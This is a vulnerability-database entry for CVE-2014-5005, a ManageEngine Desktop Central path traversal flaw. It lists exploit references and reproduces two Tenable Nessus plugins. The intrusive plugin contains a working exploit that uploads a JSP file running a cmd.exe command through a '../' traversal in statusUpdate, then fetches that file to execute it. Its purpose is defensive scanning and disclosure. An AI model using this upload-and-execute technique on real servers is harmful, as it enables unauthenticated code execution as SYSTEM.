Vulnerabilities > CVE-2014-5005 - Path Traversal vulnerability in Zohocorp Manageengine Desktop Central

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
zohocorp
CWE-22
nessus
exploit available
metasploit

Summary

Directory traversal vulnerability in ZOHO ManageEngine Desktop Central (DC) before 9 build 90055 allows remote attackers to execute arbitrary code via a .. (dot dot) in the fileName parameter in an LFU action to statusUpdate.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

D2sec

nameManageEngine Desktop Central 9.0.0 File Upload
urlhttp://www.d2sec.com/exploits/manageengine_desktop_central_9.0.0_file_upload.html

Exploit-Db

  • descriptionManageEngine Desktop Central - Arbitrary File Upload / RCE. CVE-2013-7390,CVE-2014-5005,CVE-2014-5006,CVE-2014-5007. Webapps exploit for jsp platform
    idEDB-ID:34518
    last seen2016-02-03
    modified2014-09-01
    published2014-09-01
    reporterPedro Ribeiro
    sourcehttps://www.exploit-db.com/download/34518/
    titleManageEngine Desktop Central - Arbitrary File Upload / RCE
  • descriptionManageEngine Desktop Central StatusUpdate Arbitrary File Upload. CVE-2014-5005. Remote exploit for windows platform
    fileexploits/windows/remote/34594.rb
    idEDB-ID:34594
    last seen2016-02-03
    modified2014-09-09
    platformwindows
    port8020
    published2014-09-09
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/34594/
    titleManageEngine Desktop Central StatusUpdate Arbitrary File Upload
    typeremote

Metasploit

descriptionThis module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral v7 to v9 build 90054 (including the MSP versions). A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as they do not ship with a bundled Java compiler.
idMSF:EXPLOIT/WINDOWS/HTTP/DESKTOPCENTRAL_STATUSUPDATE_UPLOAD
last seen2020-06-11
modified2018-09-15
published2014-09-04
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb
titleManageEngine Desktop Central StatusUpdate Arbitrary File Upload

Nessus

  • NASL familyCGI abuses
    NASL idMANAGEENGINE_DESKTOP_CENTRAL_90055_RCE.NASL
    descriptionThe version of ManageEngine Desktop Central running on the remote host is affected by a remote code execution vulnerability due to a failure by the statusUpdate script to properly sanitize user-supplied input to the
    last seen2020-06-01
    modified2020-06-02
    plugin id82078
    published2015-03-25
    reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/82078
    titleManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(82078);
      script_version("1.11");
      script_cvs_date("Date: 2019/11/22");
    
      script_cve_id("CVE-2014-5005");
      script_bugtraq_id(69494);
      script_xref(name:"EDB-ID", value:"34594");
      script_xref(name:"EDB-ID", value:"34518");
    
      script_name(english:"ManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)");
      script_summary(english:"Uploads a file to execute arbitrary code.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a Java-based web application that is
    affected by a remote code execution vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The version of ManageEngine Desktop Central running on the remote host
    is affected by a remote code execution vulnerability due to a failure
    by the statusUpdate script to properly sanitize user-supplied input to
    the 'fileName' parameter when performing an 'LFU' action to
    statusUpdate. A remote, unauthenticated attacker can exploit this,
    via a crafted 'dot dot' request, to upload to the remote host files
    containing arbitrary code and then execute them with
    NT-AUTHORITY\SYSTEM privileges.
    
    Note that ManageEngine Desktop Central is reportedly affected by other
    vulnerabilities as well, although Nessus has not tested for these.
    
    Also note this plugin tries to upload a JSP file to <DocumentRoot>
    (i.e., C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\)
    and then fetch it, thus executing the Java code in the JSP file. The
    plugin attempts to delete the JSP file after a successful upload and
    fetch. The user is advised to delete the JSP file if Nessus fails to
    delete it.");
      # https://www.manageengine.com/products/desktop-central/remote-code-execution.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?89099720");
      script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-15-006/");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2014/Aug/88");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to ManageEngine Desktop Central 9 build 90055 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-5005");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"ManageEngine Desktop Central 9.0.0 File Upload");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2014/08/31");
      script_set_attribute(attribute:"patch_publication_date", value:"2014/08/07");
      script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/25");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("manageengine_desktop_central_detect.nbin", "os_fingerprint.nasl");
      script_require_keys("installed_sw/ManageEngine Desktop Central");
      script_require_ports("Services/www", 8020, 8383, 8040);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    
    # ManageEngine Desktop Central (MEDC) server is known to be installed
    # on Windows only.
    # Skip non-Windows targets, but will continue if OS is not determined
    os = get_kb_item("Host/OS");
    if(os && "windows" >!< tolower(os))
      audit(AUDIT_OS_NOT, "Windows");
    
    appname = "ManageEngine Desktop Central";
    get_install_count(app_name:appname, exit_if_zero:TRUE);
    
    port = get_http_port(default:8020);
    
    install = get_single_install(
      app_name            : appname,
      port                : port
    );
    
    dir = install["path"];
    install_url =  build_url(port:port, qs:dir);
    
    file = SCRIPT_NAME - ".nasl" + '-' + port + ".jsp";
    
    postdata =
      '<%@ page import="java.io.*" %>\n' +
      '<%\n' +
      'String output = "";\n' +
      'String s = null;\n' +
      '  try {\n' +
      '     Process p = Runtime.getRuntime().exec("cmd.exe /C ipconfig /all && del ..\\\\webapps\\\\DesktopCentral\\\\' + file + '");\n' +
      '      BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));\n' +
             'while((s = sI.readLine()) != null) {\n' +
             '  output += "\\n"+ s;\n' +
             '}\n' +
          '}\n' +
          'catch(IOException e) {\n' +
          '   e.printStackTrace();\n' +
          '}\n' +
      '%>\n' +
      '\n' +
      '<pre>\n <%=output %>\n </pre>\n';
    
    
    url = dir + "/statusUpdate?" +
         "actionToCall=LFU&" + 
         "configDataID=1&" + 
         "computerName=NessusCheck&"+
         "domainName=NessusCheck&" +
         "customerId=1" +
         "&applicationName=../../../../../" +   
         "&fileName=" + file;
    
    res = http_send_recv3(
      port            : port,
      method          : "POST",
      item            : url,
      data            : postdata,
      content_type    : "text/html",
      exit_on_fail    : TRUE
    );
    
    # Vulnerable server should return 200
    if(res[0] !~ "^HTTP/[0-9.]+ 200")
    {
      # Patched server returns 403
      if (res[0] =~ "^HTTP/[0-9.]+ 403")
      {
        audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine Desktop Central", install_url);
      }
      # Unexpected
      else
      {
        audit(AUDIT_RESP_BAD, port, 'a status update message, return HTTP status: ' + res[0]);
      }
    }
    
    req1 = http_last_sent_request();
    
    # Try and access our uploaded file
    res2 = http_send_recv3(
      method : "GET",
      port   : port,
      item   : dir + "/" + file,
      exit_on_fail : TRUE
    );
    req2 = http_last_sent_request();
    
    if ("Subnet Mask" >< res2[2])
    {
      security_report_v4(
        port       : port,
        severity   : SECURITY_HOLE,
        request    : make_list(req1,req2),
        output     : res2[2],
        generic    : TRUE
      );
    }
    else audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine Desktop Central", install_url);
    
  • NASL familyCGI abuses
    NASL idMANAGEENGINE_DESKTOP_CENTRAL_90055_RCE_SAFE.NASL
    descriptionThe version of ManageEngine Desktop Central running on the remote host is affected by the following file upload vulnerabilities that allow the execution of arbitrary code by a remote attacker : - A failure to validate the
    last seen2020-06-01
    modified2020-06-02
    plugin id82079
    published2015-03-25
    reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/82079
    titleManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(82079);
      script_version("1.7");
      script_cvs_date("Date: 2019/11/22");
    
      script_cve_id("CVE-2014-5005", "CVE-2014-5006", "CVE-2014-5007");
      script_bugtraq_id(69491, 69493, 69494);
      script_xref(name:"EDB-ID", value:"34594");
    
      script_name(english:"ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)");
      script_summary(english:"Checks the version of ManageEngine Desktop Central.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a Java web application that is affected
    by remote code execution vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The version of ManageEngine Desktop Central running on the remote host
    is affected by the following file upload vulnerabilities that allow
    the execution of arbitrary code by a remote attacker :
    
      - A failure to validate the 'filename' parameter of the
        'statusUpdate' servlet when performing a 'LFU' action.
        (CVE-2014-5005)
    
      - A failure to validate the 'filename' parameter of the
        'mdmLogUploader' servlet. (CVE-2014-5006)
    
      - A failure to validate the 'filename' parameter of the
        'agentLogUploader' servlet. This flaw was previously
        identified by CVE-2013-7390 and reported as fixed in
        version 8 build 80293; however, the fix was incomplete,
        and a method for bypassing it was discovered and
        re-reported. (CVE-2014-5007)");
      script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-15-006/");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2014/Aug/88");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to ManageEngine Desktop Central 9 build 90055 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-5006");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"ManageEngine Desktop Central 9.0.0 File Upload");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2014/08/31");
      script_set_attribute(attribute:"patch_publication_date", value:"2014/08/08");
      script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/25");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("manageengine_desktop_central_detect.nbin");
      script_require_keys("installed_sw/ManageEngine Desktop Central");
      script_require_ports("Services/www", 8020, 8383, 8040);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    
    appname = "ManageEngine Desktop Central";
    get_install_count(app_name:appname, exit_if_zero:TRUE);
    
    port = get_http_port(default:8020);
    
    install = get_single_install(
      app_name            : appname,
      port                : port,
      exit_if_unknown_ver : TRUE
    );
    
    dir = install["path"];
    version = install["version"];
    build   = install["build"];
    ismsp   = install["MSP"];
    rep_version = version;
    if(build !=  UNKNOWN_VER)
      rep_version += " Build "+build;
    install_url =  build_url(port:port, qs:dir);
    
    # 7 - 9 build 90055
    if (version !~ "^[7-9](\.|$)")
      audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url, rep_version);
    
    if (version =~ "^9(\.|$)" && build == UNKNOWN_VER)
      exit(0, "The build number of "+appname+" version " +rep_version+ " listening at " +install_url+ " could not be determined.");
    
    if (int(build) < 90055)
    {
      if (report_verbosity > 0)
      {
        report =
          '\n  URL               : ' + install_url +
          '\n  Installed version : ' + rep_version +
          '\n  Fixed version     : 9 Build 90055' +
          '\n';
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
      exit(0);
    }
    else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url, rep_version);
    

Packetstorm

Seebug

bulletinFamilyexploit
descriptionNo description provided by source.
idSSV:87216
last seen2017-11-19
modified2014-09-04
published2014-09-04
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-87216
titleManageEngine Desktop Central - Arbitrary File Upload / RCE